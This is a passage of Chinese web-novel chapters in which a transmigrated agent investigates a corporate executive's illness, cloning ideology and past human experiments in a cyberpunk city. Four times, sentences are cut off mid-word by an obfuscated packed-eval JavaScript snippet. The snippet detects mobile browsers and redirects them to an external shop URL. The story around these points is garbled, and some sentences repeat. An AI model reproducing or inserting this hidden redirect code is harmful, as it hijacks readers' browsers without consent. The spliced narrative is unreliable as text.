如今这世道,议会牵头,市政厅上下宣扬,义体改造早成了新风尚。 中下城区里,但凡有些条件的人,谁不想早点换个比血肉之躯更便利的胳膊或腿脚? 更快、更强、更耐损,这才是活在当下的凭证。 正因如此,居安新和赵四这副近乎纯天然的模样,倒显得格外扎眼。 不过两人都不在意这些的人,如果在意,他们就不会约在这种公共场合见面了。 “坐。”赵四将一杯早已点好、加了冰块的深色饮料推过去,“你的‘黄铜活塞’,额外多加了几滴可食用液态烟碱。提提神,你的黑眼圈快掉到下巴了。” 这种类似强化版冰美式的饮料味道刺激,却是居安新最近依赖的提神利器。 他道谢后喝下几口,冰冷的液体似乎暂时驱散了一些疲惫。 他靠向椅背,紧绷的肩颈放松下来。 “最近没少喝这东西……”他揉了揉眉心,声音有些沙哑,“不过,谢了。” 谈话是从安安的近况开始的。 居安新提到那只银星犬时,眉宇间终于有了一丝真切的笑意。 “多亏了你,安安现在很健康,后来我们又谈了一次话,我才知道那段时间他压力也很大,所以有些疏忽了安安…… “说起来安安还是洛伦专门为我挑的,他特意挑了只成年的、据说省心的狗回来,谁知道在饲养上全听信了卖家的话,反倒差点酿成祸事。” 居安新接着讲了个故事:一个小少爷为了缓解恋人的压力送了只宠物,却因缺乏照料经验,反而给对方添了更多麻烦。 情节编排勉强说得通,叙事节奏也把握得不错,再加上情感流露真切,结尾又是皆大欢喜的大团圆…… 这件事细说起来倒是娓娓动听的,只是未免也太像个“故事”了。 反正赵四听着是感觉可信度存疑,可居安新显然是信的。 他说起这件事时,连那张标配般的霸道总裁脸上,都仿佛冰层微融,透出了一丝罕见的柔和。 赵四不会在这种时候泼他的冷水,只是顺着他说:“原来都是误会,那你们现在应该是和好了?” “当然,我们的感情更进一步。” 居安新眼中带上三分笑意、三分满足、三分欣慰与一分甜蜜,但很快,这调色盘一样的情感表达被更深沉的忧虑覆盖。 他的手指无意识地摩挲着冰冷的杯壁,声音低沉下去。 “有件事……我不知道能跟谁讲。洛伦他……嗯,他有个朋友,病得很重。是一种罕见的基因表达向疾病,公司总部那边已经看过了,说是现有治疗手段……效果都不理想。” 在新世界这里,倒没有“我有个朋友,其实说的就是我自己”那种说法。 但为了保护洛伦,居安新无师自通地推出来一位“洛伦的朋友”,仿佛这样,真相就能隔着一层安全的距离。 实际上生病的正是洛伦自己。 居安新想帮他,想倾尽所有去帮。 可他能做的,却那么少。 动用权限,用内部最优价格提供四方科技最好的药? 可洛伦是环宇的继承人,本身就能走四方科技最高级别的医疗通道。 连公司本部都束手无策的事,他居安新又能做什么呢? 居安新看向赵四:“最近因为这件事,他压力很大,状态一直不好,经常心神不宁。上次安安的事……也怪我,那段时间心思全在工作上,疏忽了他。 “我现在看着洛伦,愈发觉得除了这份感情,我似乎什么也给不了他。我到底……该怎么办?” 赵四静静听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066891|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脑中思绪飞转。 刚才那段话很不对劲。 首先第一点,赵四还能不知道吗,洛伦乃至环宇高层,近期并未在四方科技有正式就医记录。 所谓“四方科技已给出回应”,纯属子虚乌有。 其次,四方科技“密室”保存的环宇核心成员基因样本中,并未检出此类严重的、不可逆的遗传缺陷表达。 【完蛋,三儿啊,你猜这生病的,到底是洛伦还是洛伦的家人?】 MK3000磕了一颗糖,含糊道:【假设洛伦生病了,那代表洛伦的基因样本是假的;假设是他的家人生病了,那代表他的家人的基因样本是假的——所以这两种区别在哪里?我们只能得出结论,那就是密室里保存的东西已经不可信了。】 赵四忍住了按压太阳穴的冲动。 好消息,这次和居安新聊天,果然又得到了新线索。 他们明确知道了环宇集团确有核心成员(极大概率是洛伦本人)罹患了严重罕见的遗传病,且因不明原因无法(或不愿)通过正规渠道向四方科技寻求治疗。 这解释了为什么环宇集团会如此不惜代价、甚至铤而走险进行非法基因实验。 坏消息,原本视为突破口的基因样本比对,可信度大打折扣。 或者说,哪怕是结果出来了,赵四他敢信吗? 最后就是那个研究员说出来的话了——居安新到底有什么隐藏背景,是赵四和MK3000没查出来的? 洛伦和他背后的环宇集团为什么那么肯定,他们能从居安新这里获取到研发方向的机密? 这次谈话是个好机会,可以先试探试探,试试看能不能一次就搞清楚这个问题。 想清楚这些,赵四先开口安抚居安新的情绪。 “感情上的支持与理解,在这种时候往往比任何物质资源都更珍贵,也更能成为对方的支柱。如果你真的想为他做点什么,或许可以尝试换一个角度。” 迎着居安新略显困惑的目光,赵四继续道:“暂时丢掉一切社会身份,单纯的以‘居安新’这个人,去更深入地理解对方面临的困境。 “你能做的很少,但是又很多。或许是信息,或许是渠道,或许仅仅是一种不同于家族内部的、纯粹的信任与倾听……多去了解了解他吧,你本身的存在,对他而言就足够独特了。” 居安新眉间微蹙,流露出迟疑:“我不想……贸然干涉他的生活,增添他的负担。” “这只是一个朋友基于有限视角的建议。” 赵四摊摊手。 “每个人的成长环境都不同,最终塑造出来的人也不同。而谈恋爱不就是互相体贴包容,了解对方的过程吗? “而且恋爱终究是两个人自己的事,所以最终如何行动自然取决于你,这是你作为恋人需要独立面对的课题。” 居安新陷入思索,他的目光在赵四脸上停留,又缓缓移开,最终落在自己交握的双手上。 咖啡馆的客人来来回回换了两轮,居安新终于回过神。 “……你说得对。”他的声音比刚才稳定了一些,“我不能只是被动地等待,或是盲目地焦虑,我需要知道他究竟在面对什么。” 不管发生了什么,他们都该一起面对。 19.第19章 他心悖论19 气氛在话语间松弛下来,赵四喝了口自己面前叫“一捧旧日空气”的饮料——说实话他没喝出来饮料是什么味道,像干咽下一口被调过温度的回忆。 他放下杯子,语气仍维持着安慰朋友的姿态。 “就是这样,别太焦虑。退一万步讲,就算到最后关头,你信不过自己,总该信得过四方科技本部的研发能力吧。” “十年前他们能攻克义体神经交互障碍,接下来又研发出稳定基因的基因药剂。说不定再过几年,洛伦朋友的问题也能找到解法。” 居安新当然明白这个道理,他本就在四方科技任职,比谁都清楚那些实验室里诞生的奇迹。 论对公司的信心,他本该是最坚定的那个。 但是…… “未来的事,谁说得准呢。” 药剂研发从来不是易事,而洛伦的病症又如此特殊。 四方科技真会为了另一家企业的继承人,投入巨额资源去专攻一个可能没有泛用价值的难题吗? 大老板会直接建议环宇集团克隆一个新的“洛伦”出来也说不定。 只要在胚胎阶段完成基因调整,只要将完整的记忆数据导入新生的躯壳,走出实验室的那位,谁又能分辨他是不是原来的洛伦? 那样的话……洛伦还是洛伦吗? 或许这也算一种圆满。 他早就知道的,这始终是最便捷的路径。 那条让所有人都能“幸福”的捷径,其实从一开始就摆在眼前—— “……克隆也好,基因实验也好,都是为了生命的延续与文明的未来……没有必要的牺牲,就没有崭新的明天……所有人都将在新世界重逢……” 居安新不自觉地低语出声,像在背诵某段深植于潜意识里的教条。 正在琢磨饮料玄机的赵四缓缓抬起头:“?” 兄弟,你的这个思想很危险啊。 才一眼没盯住,怎么就直奔思想滑坡的深渊了呢? MK3000,快过来听听,见识下谁才是真正的法外狂徒! 【听到了,听到了,两只耳朵都听到了。】MK3000有点迟疑,【他这思考回路……莫名像一位故人。】 特别像它之前搭档过的一位专员,“亚历山大·张三”。 在和MK3000搭档的那次任务里,张三专员打着的旗号就是刚刚居安新念叨的那一套。 然后私下里,他进行了一系列极限违规操作:把任务目标克隆出来了千八百个,狂笑着将真货混入克隆大军,坐看他们陷入关于“谁才是本体”的自我认知战争,最终引发了一场世界级的身份灾难…… 而幕后黑手张三,在最后关头又是一波违规操作,把所有逝者奶活。 在那个世界的原住民眼中,他俨然成了乘着七彩祥云降临的救世圣人。 任务最终以惊人的奖金和完美评价收场,没有任何“原住民”受到物理伤害。 唯一被反复摧残的,只有全程旁观、核心处理器几乎过载的MK3000。 难道所有法外狂徒的思维逻辑,也玩共享模板那一套? 赵四叹为观止:【哇哦,假如事情真的无可挽回了,我难道有机会亲眼见证一场‘复活吧,我的克隆爱人’?】 别说,还挺带感。 但这并非重点。 关键在于,居安新危险的联想背后,暴露出了更严重的问题。 【房馥臻到底有多可怕,】赵四沉吟,【能让居安新一想起他,思维就自动跳转到克隆人这种极端方案?简直像触发了某个关键词,直接进入了预设的‘灾难应对模式’……他有过相关的心理创伤?】 他清了清嗓子,把居安新从那个自我吞噬的思绪漩涡里拽出来。 居安新猛地回过神,像是从深水中挣扎出来,眼神还有些涣散。 他看向赵四,又看了看桌上那杯几乎没动的“一捧旧日空气”,自嘲地扯了扯嘴角:“……抱歉,我走神了。” “不是走神,你刚才那表情,就差去跟四方科技总部爆了……怎么,最近大老板给你的压力有这么大?” 居安新招手又要了一杯“黄铜活塞”。 等待那杯泛着金属色泽的饮料被送来时,他否认了赵四的猜测。 “压力倒不全是房先生给的……是洛伦的情况,让我想起了以前经手的一个类似案例。” 那还是上一任大老板房律在位时期的事。 患者同样是基因层面的罕见病,身份是某个不便公开的议会高层。 “当时我只是个实习生,不清楚具体谈判细节,只知道房老先生给出了一个最终没被采用的‘最优方案’。” “没被采用的最优方案?”赵四挑眉,“这说法有点意思……能说吗?你们应该都签了保密协议吧。” “这部分可以说,否则我也不会提。” 居安新解释起那个方案。 简而言之,就三步:完整备份意识、培育基因适配的克隆体、在主体机能衰竭或发生不可逆恶化前,完成意识转移。 “房老先生认为这是效率最高、情感损耗最低、且能最大化延续‘价值’的方式……但客户没选。至于客户最终选择了什么,那就是我不能说的机密了。” 居安新的语气有点复杂,“那件事之后,我好像就被困住了。每次遇到看似无解的困境,尤其是涉及‘人’的存续问题,那个最优解就会自动跳出来。它太清晰……也太‘合理’了。” 赵四:“所以,你不是在替洛伦想办法,你是在和你自己脑子里,那个自己出现的方案较劲。” 居安新灌下半杯“黄铜活塞”,默认了赵四的话。 “恕我直言,那位‘房老先生’对你的影响太深了。你现在陷入的,其实是对自己潜意识的内耗……这对你和洛伦的感情没有益处。” 居安新又何尝不明白。 但他无法说出口的是,早已去世的房律,就像一个活在他思维基底里的幽灵,其对他影响力远不止于此。 “如果一个人能选择自己的出身……不,是我失言了。” 居安新正色道:“我很感谢房老先生给我的机会,也感激他对我的培养。没有他,我不会拥有今天的一切。” 所以,他会像曾经忠于房律一样,忠于现在的房馥臻。 为房馥臻工作,为四方科技创造更多的“价值”。 这些他并没有说出口,但赵四已经听懂了他的意思。 赵四也收敛了随意的姿态:“放心,今天听到的,不会从我这里漏出去半个字。” 表明立场后,他才继续道:“虽然不知道具体发生了什么,但现在的你过得很好,也完全有权利去追求自己的幸福。无论如何,祝福你和洛伦。” 居安新点点头,脸上冷峻的线条柔和少许,露出一点极淡的笑意。 之后两人没再深聊。居安新离开时主动结了账,背影看起来比来时松弛了一些。 赵四则转身返回宠物医院。途中,他撞见了一股涌动的狂欢人潮。 人们披着光学织物编织的、变幻不定的彩衣,脸上涂着荧光油彩,机械义肢覆盖着鲜艳的喷漆涂装。 与一个女人擦肩而过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068492|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,他瞥见她棕灰色金属拼接的肩膀上,绘着一个Q版机器人图案。 小机器人的嘴角被夸张地向上勾勒,凝固成一个充满希望的笑容。 第一天晚上远远看见的花瓣雨从天而降,于是赵四脸上也露出一个应景的微笑,伸手接了一片花瓣。 女人朝他快乐地喊道:“义体万岁!改造日万岁!” 赵四轻声道:“祝你一切顺利。” 他不知道对方是否听见了,女人被同样快乐的人群裹挟着不断向前。 揉捏着手中质感接近柔性塑料的花瓣,赵四在涌动的人潮中,点开了MK3000刚刚发来的资料。 就在居安新提及旧案时,MK3000已启动了针对性查询。 资料显示,那位患者名叫西拉诺·K·阿尔瓦雷斯。 他最终选择了更为保守的传统疗法,但疗效未知。 因为在用药观察期,此人就突然死亡,记录中只模糊提及,他“卷入了一场政治倾轧”。 赵四凝视着那个名字,【如果我没记错,我在议会的那个弟弟,叫维克多·K·阿尔瓦雷斯?】 MK3000:【是的,在公开档案里,维克多是那位已故议员的亲生儿子。】 一个议员的亲生儿子,却是房馥臻没有血缘关系的“弟弟”? 【三儿,我好像一直没问过,房馥臻是什么时候正式执掌四方科技的?】 MK3000:【公开记录显示,是十年前。】 十年前的新闻页面被调出。看着照片里房馥臻那张与如今毫无二致的面容,赵四无声地咂了咂舌。 又是十年前。 十年前,新一代民用义体全面上市。 十年前,基因缓释药剂技术取得突破性进展。 同样是十年前,房老先生——房律,病逝于四方科技总部,其子房馥臻接过了公司的实际权柄。 今天与居安新一席对谈后,赵四正式将“房律”这个名字,划入了危险人物名单,并予以重点标红。 ——仅从居安新所受的深远影响,便足以窥见房律思想的冰冷与极端。 事实上,自从知晓这群“家人”的存在,赵四就思考过这种无血缘的牢固纽带究竟如何形成。 现在,结合居安新的叙述,一个大胆的猜想逐渐成形。 【三儿,如果我们引入房律的性格模型,再推演他需要对房馥臻和赛琳娜他们做什么,才能催生出这种近乎扭曲的、坚不可摧的信任……你最先想到的可能性是什么?】 MK3000毫不犹豫的吐出了四个近似含着刀锋的字眼。 【人体实验。】 喧闹的狂欢人群早已远去。 赵四松开手,任由那片人造花瓣飘落,与它的无数同伴一起,在地面上铺成一片柔弱而绚丽的彩色绒毯。 站在这片缤纷的花毯之上,赵四轻轻叹了口气 是啊,若非共同经历过某种极端化的苦难,一群毫无血缘的陌生人之间,又怎么能锻造出如此深刻的羁绊? 房馥臻与他那群“家人”之间凝固的情感联结,恐怕是以旧日的血与痛为粘合剂,浇筑而成的。 在这种情况下成长起来的房馥臻,他所理解的“真心”……又会是什么模样? 赵四静默片刻,转身继续朝医院方向走去。 【三儿,查一下房律,最好是十年前……不,时间线要再往前推。 尽可能找到他早期的研究记录、项目申请,或者任何可能留下痕迹的东西。】 不管怎么样,赵四有预感,他已经在接近真相了。 20.第20章 他心悖论20 回到宠物医院时,个人终端显示的时间已近傍晚。 中城区从不分什么白昼黑夜,但身体不会骗人。赵四捏了捏发酸的后颈,那股从深处浮起的倦意,到底还是漫了上来。 MK3000的提示来得正好:【专员,药快见底了。算上今晚,只剩最后一次。】 赵四在心里回了句“知道了”,目光却第一次认真地落在这栋建筑的外墙上。 宠物医院占着这栋楼的下面七层,外头绕着一圈暖乎乎的光带。 光带的主体并不是那种饱和度过高的商业霓虹,而是些会摇尾巴的猫猫狗狗全息影像。 在一片吵闹的电子夜景里,这座医院显得过分可爱,甚至都不太像个正经医疗场所了。 赵四甚至瞥见侧门底下有几处故意做旧的涂鸦,幼稚的爪子印旁还画了颗歪歪扭扭的爱心,荧光涂料在暗处泛着微光。 MK3000见他感兴趣,调出补充资料的话气里带点分享内部八卦的意味。 如今它坐拥四方科技与宠物医院双重数据库,许多本该保密的事,在系统眼里并非秘密。 【这整栋楼的温馨路线,都是大老板亲自拍板的。外墙动画原型和内部那些软装设计,终端记录里签的都是他的名字。】 赵四略感意外,【看不出来啊,房总私下还挺有……童趣,这跟他平时的画风差得可有点远。】 最后看了一眼那些在夜色里安静跃动的光影,他转身推门,把自己埋进医院内熟悉的消毒水气味里。 门在身后合上,将那片过于柔软的灯光隔绝在外。 只有MK3000“咔嚓”一声轻响,把医院的轮廓收进了存档。 而百米之外的装卸区,此刻正灯火通明地忙碌着。 整个院区的专用货运通道已被彻底清空,三辆印有潘多拉物流标志的悬浮货柜车静默地泊在指定位置。 四五个穿着深蓝色工装的技术人员正围着几台巨大的金属集装箱忙碌。 箱体虽覆满防震缓冲层,但边角处裸露的金属外壳上,那个熟悉的徽标依然清晰可见。 四方科技的标志,在装卸区的射灯下泛着冷硬的金属光泽。 “小心点!这箱有易碎标识的先放一边,调悬浮垫过来接应!” “三号箱往左边挪,对,这个需要对接第六诊疗室的专用接口。” “数据校验模块先别通电,等所有物理连接完成再初始化……” 现场指挥的是医院设备科的主任,一个头发花白但动作利落的老技师。 他手里拿着光屏板,一边核对清单一边高声调度。 几名年轻助理医师也在一旁协助,小心翼翼移动那些显然价值不菲的设备箱。 被这片忙碌场景吸引过来的赵四,找了个不耽误别人干活的地方,站在那观察了片刻。 他静静观察片刻,在MK3000的标记辅助下,认出了其中几台设备的型号,这些机器设备无疑都在四方科技的内部采购目录上。 看了看那些标价,每台标价后那一长串零都令人咋舌。 “院长?” 一个小护士抱着装满医疗耗材的纸箱从旁边经过,看见赵四站在那儿,连忙停下脚步问候。 赵四朝她点点头,指了指忙碌的装卸区:“这是什么时候开始送的?” “下午三点左右到的第一车,潘多拉物流的人说这批货是加急件,从四方科技总部仓库直接调拨过来的。 “设备科的陈主任已经带人忙活两个多小时了,说是今晚必须把所有基础设备安装调试完毕,明天上午就要开始对接院里的现有系统。” 小护士把纸箱往上托了托:“对了院长,陈主任说这批设备里还有一台‘生命体征动态建模仪’,是咱们之前申请了三次都没批下来的那款。这次居然一并送来了,真是太意外了。” MK3000:【生命体征动态建模仪,四方科技医疗设备部门去年才量产的尖端产品,可实时构建并预测病患未来一周内的生理状态变化曲线。 【但因为它需要接入四方科技的核心医疗数据库进行算法训练,所以对外出售的审核极其严格。】 赵四的眉毛微微扬起。 居安新能弄来这个肯定是废了力气的,这个诊出的是真值。 “知道了,你去忙吧。” 赵四朝小护士摆摆手,目光重新落回那些设备箱上。 潘多拉物流……这个名字在他脑海里转了一圈。 来新世界的第一天,他从中城区前往上层区时搭乘的网约车,司机就提过自己属于这家公司。 后来他查过相关资料,潘多拉物流是这个城市最大的综合性运输企业,业务范围横跨客运、货运、特种物品押运以及绝大多数地区的市政管网维护。 单纯以体量论,绝不逊于四方科技与环宇集团。 这类垄断性质的大企业,也算新世界的特产了。 装卸区那边,技术人员已经拆开了最大的那个集装箱,包裹在防震材料中的主设备体被小心翼翼地移了出来 那是一台约两米高的银白色棱柱状仪器,表面布满精密的接口和散热栅格。 在仪器侧面的铭牌上,除了四方科技的标志,还有一行小字: “第七代全谱生物信息分析平台,仅供授权机构使用”。 陈主任戴上显微目镜,开始亲自检查设备的物理接口。 几个年轻技师围在一旁,手里拿着各种检测仪器,神情专注得像在进行一场精密的外科手术。 赵四没有上前打扰。 他站在装卸区边缘安静地看着这一切。 冷白色的灯光从头顶倾泻而下,将场中的一切都勾勒出分明而清晰的轮廓。 八个嵌套方形组成的四方科技徽标随处可见,那一刻,赵四的心情确实有些复杂。 当初接受居安新的赞助时,他只当是一次寻常的“霸道总裁式”资助,从未想过这张身份卡会与四方科技牵扯如此之深。 而现在,当这些印着四方科技标志的尖端设备,真真切切地摆在自家医院的装卸区里时,那种微妙的感觉变得更加强烈了。 世事无常,兜兜转转。 所有的问题和线索,似乎都烙着同一个名字。 他最后看了一眼那些正在被搬进医院的设备箱,转身朝医院内部走去。 鞋底踩在光洁的走廊地面上,发出规律的轻响。 熟悉的治疗室里,那只小黑狗已从玻璃保温舱转移至室内的软垫狗窝。 看见赵四进来,它耳朵立刻竖了起来,挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073956|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎着想要站起来。 赵四蹲在软垫旁边等了一会,看见虽然它的前腿还有些打颤,但后腿已经能勉强支撑起身体了。 小黑狗摇摇晃晃地蹭过来,伸出舌头轻轻舔了舔他的指尖。 那股新生命特有的活力,让赵四忍不住伸手揉了揉它的脑袋。 他想了想,又从旁边的架子上取了一支营养膏,挤在掌心里递过去。 小狗立刻埋头舔舐起来,尾巴在身后小幅度地摇晃着。 他就这么蹲在那儿,静静地看着它吃东西。 走廊里偶尔传来医护人员走动的脚步声,仿佛被一层透明的膜隔开了,模糊而遥远。 在这个小小的治疗室里,只有小狗舔食时发出的细微声响如此真切。 MK3000让镜头围着他们转来转去,很是拍了不少照片。 赵四也任由它拍。 他已经发现了,拍照虽说是为了任务存档,但更多时候,只是MK3000自己的爱好罢了。 约莫十分钟后,蹲麻的腿传来一阵刺痛。 赵四扶着膝盖慢慢站起,小狗抬起头看他。 他轻轻拍了拍它的脑袋,转身离开。 走出治疗室时,在走廊拐角处正遇见林琳。 她看见赵四从治疗室出来,脚步顿了顿,目光在他脸上停留了两秒。 然后,赵四看见她嘴角极轻微地向上弯了弯。 那不是明显的笑容,但那微微扬起的嘴角弧度,还有她眼神里一闪而过的那种……怎么说呢,近似于“欣慰”的情绪,却让赵四一时有些哭笑不得。 看来在这位妹妹眼里,他这位兄长自从捡了条狗回来,都无师自通地学会了“毛绒绒解压法”。 这种认知偏差,不知道该说是林琳对他过于关心,还是对他平日里的精神状态评价过低。 “林医生是来看……嗯……” 赵四清了清嗓子,试图打破这微妙的氛围,结果在怎么称呼小黑狗的时候卡住了。 不管是他还是房馥臻,都并没有给小黑狗起一个正经名字,而直呼“小黑狗”又显得多少有点奇怪。 好在林琳已经明白了赵四想表达的意思。 “我来看看它今天的情况。另外,设备科陈主任说新到的仪器里有几台需要院长权限初始化,晚些会来找您。” “知道了。”赵四侧身让开路,“这段时间辛苦了。” 林琳从他身边走过,脚步轻盈而安静。 走出几步后,走出几步后,她却忽然回头。 “院长。” “嗯?” “那只小狗……”她顿了顿,似乎在斟酌用词,“它现在情况很好,生命力很顽强。如果、如果您想一直养下去的话,就给它起个名字吧。” 说完这句话,她便转身继续朝治疗室走去,留下赵四一个人站在走廊里。 起个名字吗。 “那还是饶了我吧……” 某种意义上来说,起名字也是结下羁绊的开始,而赵四……只是一个使用身份卡来到这个世界的过客而已。 他实在没办法再去承担一个生命的重量。 而且赵四也不想给房馥臻找麻烦,毕竟—— 房馥臻也是真实存在的人,他是会回来的啊! 21.第21章 他心悖论21 通常情况下,主系统与任务世界为专员准备的身份卡,主要分为两种来源。 第一种较为特殊——该身份原本并不存在,是专员抵达任务世界后,由世界直接生成的“专属身份卡”,仅限任务期间使用。 这类身份卡无背景、无社会关系、无初始资产,是彻底的“三无”空白开局。 它在赋予专员极高自由度的同时,也意味着一切必须从零开始,起步往往更为艰难。 在实际任务中,这类空白身份卡出现频率较低,更常见的是第二种: 即与任务高度相关的关键人物,出于自愿原则出借其身份使用权。 任务世界会妥善安置原主,并调用能量,以其基本信息为模板,为专员重新生成一具完全相同的身体作为身份载体。 这样做的好处显而易见:专员一经落地,便可借助现成身份直入任务核心,省去大量适应与铺垫的时间。 但随之而来的附加条件是,所使用的身份自带完整且复杂的人际背景与社会关系。 因此在绝大多数情况下,专员需要在任务期间进行一定程度的角色扮演,以维持身份合理性。 那么,为什么不能像是某些爽文开局一样,直接衣服一扯邪魅一笑,说“愚蠢的亲朋好友啊,我已非昨日之我,所以我不要做人了!”,然后爽崩角色平推任务呢? 因为这背后涉及一个关键的后续问题—— 那就是,事情解决完了,原主是需要回到自己的生活中继续人生的。 是的,没有什么意外的话,原主,是会回来的。 毕竟中心并非法外之地,主系统更不是那种天天在各个世界拐小孩的可恶人贩子。 他们可是正经组织!借用的身份当然会还回去的! 而且不光会还,还附带完善的售后服务。 主系统将派遣后勤专员,协同任务世界成立善后小组,对专员执行任务期间的一切行为进行合理化处理。 当然这种合理化也不能太过分,要是专员把身份卡的人设崩到亲妈来了都不认识的程度,那善后组只能含泪送这个世界的一个时间回溯了。 然后……打申请把崩了人设的专员抓回来,重新执行任务。 这也是结算环节的保留节目了。 若是带些恶趣味,资深专员只需在新人耳边低语一句“你上个任务OOC(脱离角色)了”,多半就能见到一位瞬间脸色发白、泪眼汪汪的后辈。 赵四对此颇为无奈。 【必要的任务记录也就罢了,房馥臻既聪明又自愿出借身份,自然得接受相应的结果。但是……】 但是为小狗起名,便意味多出一份羁绊。这里的所有人都会默认,这条狗是由他收养的。 将来赵四完成任务一走了之,对小狗而言已经算是很不公平; 对房馥臻来说,更是变成了赵四擅自将另一份生命的重量,强加于他的生活。 天知道房馥臻最初捡回小狗是出于什么念头。 在它与当前任务尚无直接关联的情况下,维持现状,或许才是对所有人都好的选择。 MK3000表示赞同:【很标准的任务思维,请保持下去,专员。】 对小黑狗的讨论暂时告一段落。 关于小黑狗的讨论,至此暂告一段落。 赵四笑了笑,转身离开。 他还得赶下一个场子——时间差不多了,该回四方科技了。 —————— 回到四方科技大厦时,已经是晚上九点多。 上城区的夜色十分静谧,办公室主灯未开,只有几处辅助光源在昏暗中晕开浅浅的光。 被医疗组又上下折腾了一番的赵四先是缓了缓气,才点开赛琳娜发来的今日简报,确认没有急需处理的事务后,他按下了通讯器。 “苏珊,来办公室一趟。” 如今的赵四已清楚房馥臻手下人员的权责架构:下城区由多里安负责,中城区是林琳,赛琳娜主理集团明面运营,而真正协助处理各类“特殊事务”的,实则是苏珊。 约十分钟后,穿着卫衣牛仔裤的苏珊出现在门口。 她在赵四面前站定,眼神清亮,姿态利落。 这不是上班时间,但苏珊的态度无可挑剔,有时候赵四真的怀疑房馥臻手下的人都不睡觉的。 赵四略微感慨了一下,没有多加寒暄,直接切入正题。 “派人查查洛伦·艾克最近的动向,尤其是他真实的健康状况。” 苏珊对这个名字并不陌生,毫不犹豫地应下:“是。” 赵四略作沉吟,补充道:“想办法获取他的活体组织样本。样本到手后,直接送进第七实验室,让他们以最快速度出一份全面分析报告。” 第七实验室——那是专为房馥臻研发基因药剂的核心机构,也是四方科技旗下保密等级最高的实验室。 听到这个指令,苏珊眼中掠过一丝讶色:“您怀疑……他每年在集团的体检数据可能不实?” 赵四未置可否:“先查了再说,动作要快,更要隐蔽,他很敏锐,绝不能让他察觉。” “需要同步安排远程生理扫描吗?” “能做就做,我要的是最深、最全的调查。” 苏珊点头:“我明白了,稍后我会申请第七实验室的一级接入权限,请您批准。” “权限已经向你开放。”赵四顿了顿,话锋稍转,“对了,你对居安新这个人怎么看?” 苏珊没料到话题突然转向,但是她对居安新确实有过了解。 赵四突然问到,她略作回忆才开口。 “居安新是个运气不错的人。您也知道,他是十年前那场清算中全须全尾脱身而出的少数人之一。 “房律对居安新一直都有种说不上来的宽容——他甚至没在居安新身上动手脚,反而送他出去读书,最后让他带着学历回到集团工作。 “如果不是反复核查,确认他确实出身中城普通家庭,背景干净……” 苏珊在赵四面前没什么可伪装的,语气异常直白,所以赵四轻易听出了那未竟之言里的寒意。 她抬起眼,目光里带着探询:“您突然问起他,是发现什么不对劲了吗?” 赵四靠向椅背,指尖在扶手上轻叩两下:“最不对的,是居安新最近成了感情诈骗的受害人。” “啊……”苏珊的网速并不慢,她眨了眨眼睛,“您是说,《继承人之恋:总裁,您的少爷他又哭了》?” 赵四:“……?” 刚刚什么东西从耳边飘过去了。 这对吗? 这是正经谈话该出现的东西吗? 这起名风格怎么有点似曾相识? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078665|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏珊咳嗽了一声,眼神可疑的有点发飘。 “我是说……感情诈骗犯是洛伦·艾克吗?” 算了,合格的兄长不该深究妹妹的精神食粮。 赵四全当刚才什么都没听见,若无其事的肯定道:“……就是他。” 他简明扼要地向苏珊叙述了这段时间发生的事。 苏珊听完,气息明显沉了下去:“原来蝰蛇那边靠的是环宇集团,怪不得议会那边对这件事的态度暧昧成这样……” 同样是大企业,苏珊毫不怀疑环宇在议会中的能量。 但真正让她动怒的并非这件事。 集团里还有房律的人她不意外,反正人都死了这么多年了,连骨头都被兄弟姐妹们剔出来磨成灰扬干净了,再有人又能怎么样。 但是……但是! “但竟然还有人敢和早就打上房律亲信标签的居安新私下联系……!” 而且那个人很可能就藏在保密等级最高的研究部,还十年都没被发现。 别说什么还没发生的事情就提前定罪了,环宇这样的地方,只会不见兔子不撒鹰。 既然继承人都已经找上门,说明他们再三确认过,居安新身上一定能挖出他们要的东西。 办公室里安静了片刻。 赵四给了苏珊一点平复情绪的时间,她深呼吸几次,外露的锋芒逐渐收敛。 “需要安排对居安新的保护性监控吗?”她已恢复冷静,“或者以适当方式提醒他?” 